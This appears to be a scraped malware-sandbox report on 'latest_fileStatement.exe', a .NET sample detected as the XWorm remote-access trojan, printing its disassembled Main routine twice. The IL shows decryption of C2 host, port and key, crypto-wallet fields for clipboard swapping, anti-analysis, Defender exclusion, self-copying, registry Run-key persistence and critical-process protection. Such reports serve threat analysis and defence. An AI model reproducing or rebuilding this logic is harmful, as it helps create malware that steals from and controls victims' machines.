Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 9 files
EXE15b0aee052abb740592de1672ed7cff8XWorm
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
latest_fileStatement.exe
Full Name
latest_fileStatement.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
latest_fileStatement.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
latest_fileStatement
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
310
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 309
ldc.i4 292
call System.Void Stub.AlgorithmAES::Ⴈ(System.Int32,System.Int32,System.Int16)
ldc.i4.1 <null>
stloc.s V_10
ldloc.s V_10
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 685
ldc.i4 708
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 639
ldc.i4 534
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Port
ldc.i4.6 <null>
stloc.s V_10
br.s IL_001D: ldloc.s V_10
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 341
ldc.i4 316
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1001
ldc.i4 896
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.0 <null>
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 122
ldc.i4.s 19
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 232
ldc.i4 129
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.5 <null>
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 593
ldc.i4 568
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 830
ldc.i4 771
call System.String Stub.Messages/ႤႳ::Ⴐ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.7 <null>
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 438
ldc.i4 479
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::InstallStr
ldsfld System.String Settings::BTC
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 992
ldc.i4 905
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::BTC
ldc.i4.s 9
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::ETH
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1022
ldc.i4 919
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::ETH
ldsfld System.String Settings::TRC
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 221
ldc.i4 180
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::TRC
leave.s IL_01F2: ldc.i4.5
dup <null>
ldc.i4.1 <null>
ldc.i4.s 19
call System.Void Stub.ClipboardFunc/ႤႥ::Ⴃ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 366
ldc.i4 380
call System.Void Stub.AlgorithmAES::Ⴈ(System.Int32,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 931
call System.Void Stub.ClipboardFunc::Ⴄ(System.Int32,System.Char)
leave.s IL_01F2: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_12
ldloc.s V_12
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴄ.Ⴗ::Ⴄ()
brtrue.s IL_0230: ldc.i4.2
ldc.i4.1 <null>
stloc.s V_12
br.s IL_01F5: ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 436
ldc.i4 422
call System.Void Stub.AlgorithmAES::Ⴈ(System.Int32,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_14
ldloc.s V_14
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_0272: ldc.i4.3
dup <null>
ldc.i4.s 50
ldc.i4.s 32
call System.Void Stub.ClipboardFunc/ႤႥ::Ⴃ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_4
ldc.i4 429
ldc.i4 486
call System.Void Stub.ClipboardFunc::Ⴄ(System.Int32,System.Char)
leave.s IL_0272: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_16
ldloc.s V_16
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1632302754
call System.String Stub.AlgorithmAES::Ⴄ(System.Reflection.Assembly,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 188
ldc.i4 188
call System.String Stub.ProcessCritical::Ⴐ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32)
stloc.0 <null>
ldc.i4.2 <null>
stloc.s V_18
ldloc.s V_18
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 406
ldc.i4 487
call System.IO.DirectoryInfo Stub.ClipboardNotification::Ⴗ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4.7 <null>
ldc.i4.s 46
call System.String Stub.ProcessCritical::Ⴗ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Char)
stloc.s V_5
ldc.i4.8 <null>
stloc.s V_18
br.s IL_02BF: ldloc.s V_18
ldloc.s V_5
ldc.i4 784
ldc.i4 889
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 1005
ldc.i4 968
call System.Boolean My.MyComputer::Ⴅ<System.String>(System.String,System.Int32,System.Int32)
brtrue.s IL_0341: ldc.i4.5
ldc.i4.4 <null>
stloc.s V_18
br IL_02BF: ldloc.s V_18
ldc.i4.5 <null>
br.s IL_033A: stloc.s V_18
ldloc.s V_5
ldc.i4 149
ldc.i4 252
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.5 <null>
stloc.s V_18
br IL_02BF: ldloc.s V_18
ldloc.0 <null>
isinst System.String
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0378: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_18
br IL_02BF: ldloc.s V_18
ldc.i4.6 <null>
br.s IL_0371: stloc.s V_18
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
isinst System.IO.FileInfo
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴄ.Ⴗ::Ⴄ
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_03C4: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_03C4: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_20
ldloc.s V_20
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴍ()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1632302752
call System.String Stub.AlgorithmAES::Ⴄ(System.Reflection.Assembly,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
castclass System.String
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_042A: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_042A: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴄ.Ⴗ::Ⴀ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.2 <null>
stloc.s V_22
br.s IL_042D: ldloc.s V_22
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_049F: ldc.i4.8
ldc.i4.5 <null>
stloc.s V_22
br.s IL_042D: ldloc.s V_22
ldc.i4.8 <null>
br.s IL_049B: stloc.s V_22
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__4()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.6 <null>
stloc.s V_22
br IL_042D: ldloc.s V_22
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ldsfld System.Char[] My.MyApplication::Ⴐ
ldc.i4 155
ldsfld System.Char[] My.MyApplication::Ⴐ
ldc.i4 155
ldelem.u2 <null>
ldsfld System.Char[] My.MyApplication::Ⴐ
ldc.i4.s 68
ldelem.u2 <null>
sub <null>
ldc.i4.s 61
and <null>
stelem.i2 <null>
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
latest_fileStatement.exe
Full Name
latest_fileStatement.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
latest_fileStatement.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
latest_fileStatement
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
310
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 309
ldc.i4 292
call System.Void Stub.AlgorithmAES::Ⴈ(System.Int32,System.Int32,System.Int16)
ldc.i4.1 <null>
stloc.s V_10
ldloc.s V_10
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 685
ldc.i4 708
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 639
ldc.i4 534
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Port
ldc.i4.6 <null>
stloc.s V_10
br.s IL_001D: ldloc.s V_10
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 341
ldc.i4 316
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1001
ldc.i4 896
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.0 <null>
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 122
ldc.i4.s 19
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 232
ldc.i4 129
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.5 <null>
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 593
ldc.i4 568
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 830
ldc.i4 771
call System.String Stub.Messages/ႤႳ::Ⴐ<System.String>(System.String,System.Int16,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.7 <null>
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 438
ldc.i4 479
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::InstallStr
ldsfld System.String Settings::BTC
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 992
ldc.i4 905
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::BTC
ldc.i4.s 9
stloc.s V_10
br IL_001D: ldloc.s V_10
ldsfld System.String Settings::ETH
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1022
ldc.i4 919
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::ETH
ldsfld System.String Settings::TRC
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 221
ldc.i4 180
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
stsfld System.String Settings::TRC
leave.s IL_01F2: ldc.i4.5
dup <null>
ldc.i4.1 <null>
ldc.i4.s 19
call System.Void Stub.ClipboardFunc/ႤႥ::Ⴃ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 366
ldc.i4 380
call System.Void Stub.AlgorithmAES::Ⴈ(System.Int32,System.Int32,System.Int16)
ldc.i4 1000
ldc.i4 931
call System.Void Stub.ClipboardFunc::Ⴄ(System.Int32,System.Char)
leave.s IL_01F2: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_12
ldloc.s V_12
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴄ.Ⴗ::Ⴄ()
brtrue.s IL_0230: ldc.i4.2
ldc.i4.1 <null>
stloc.s V_12
br.s IL_01F5: ldloc.s V_12
ldc.i4.0 <null>
ldc.i4 436
ldc.i4 422
call System.Void Stub.AlgorithmAES::Ⴈ(System.Int32,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_14
ldloc.s V_14
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_0272: ldc.i4.3
dup <null>
ldc.i4.s 50
ldc.i4.s 32
call System.Void Stub.ClipboardFunc/ႤႥ::Ⴃ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_4
ldc.i4 429
ldc.i4 486
call System.Void Stub.ClipboardFunc::Ⴄ(System.Int32,System.Char)
leave.s IL_0272: ldc.i4.3
ldc.i4.3 <null>
stloc.s V_16
ldloc.s V_16
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldnull <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1632302754
call System.String Stub.AlgorithmAES::Ⴄ(System.Reflection.Assembly,System.Int32,System.Reflection.Assembly,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 188
ldc.i4 188
call System.String Stub.ProcessCritical::Ⴐ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Char,System.Int32)
stloc.0 <null>
ldc.i4.2 <null>
stloc.s V_18
ldloc.s V_18
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 406
ldc.i4 487
call System.IO.DirectoryInfo Stub.ClipboardNotification::Ⴗ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Char)
ldc.i4.7 <null>
ldc.i4.s 46
call System.String Stub.ProcessCritical::Ⴗ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int16,System.Char)
stloc.s V_5
ldc.i4.8 <null>
stloc.s V_18
br.s IL_02BF: ldloc.s V_18
ldloc.s V_5
ldc.i4 784
ldc.i4 889
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 1005
ldc.i4 968
call System.Boolean My.MyComputer::Ⴅ<System.String>(System.String,System.Int32,System.Int32)
brtrue.s IL_0341: ldc.i4.5
ldc.i4.4 <null>
stloc.s V_18
br IL_02BF: ldloc.s V_18
ldc.i4.5 <null>
br.s IL_033A: stloc.s V_18
ldloc.s V_5
ldc.i4 149
ldc.i4 252
call System.String Stub.ClipboardFunc::Ⴃ<System.Object>(System.Object,System.Int32,System.Int16)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.5 <null>
stloc.s V_18
br IL_02BF: ldloc.s V_18
ldloc.0 <null>
isinst System.String
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0378: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_18
br IL_02BF: ldloc.s V_18
ldc.i4.6 <null>
br.s IL_0371: stloc.s V_18
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
isinst System.IO.FileInfo
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
isinst System.String
ldsfld System.String Ⴄ.Ⴗ::Ⴄ
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_03C4: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_7
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_03C4: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_20
ldloc.s V_20
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴍ()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1632302752
call System.String Stub.AlgorithmAES::Ⴄ(System.Reflection.Assembly,System.Int32,System.Reflection.Assembly,System.Int32)
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String Settings::InstallStr
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
castclass System.String
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_042A: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_8
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_042A: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_22
ldloc.s V_22
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴄ.Ⴗ::Ⴀ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldc.i4.2 <null>
stloc.s V_22
br.s IL_042D: ldloc.s V_22
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_049F: ldc.i4.8
ldc.i4.5 <null>
stloc.s V_22
br.s IL_042D: ldloc.s V_22
ldc.i4.8 <null>
br.s IL_049B: stloc.s V_22
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__4()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.6 <null>
stloc.s V_22
br IL_042D: ldloc.s V_22
ldloc.1 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ldsfld System.Char[] My.MyApplication::Ⴐ
ldc.i4 155
ldsfld System.Char[] My.MyApplication::Ⴐ
ldc.i4 155
ldelem.u2 <null>
ldsfld System.Char[] My.MyApplication::Ⴐ
ldc.i4.s 68
ldelem.u2 <null>
sub <null>
ldc.i4.s 61
and <null>
stelem.i2 <null>
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙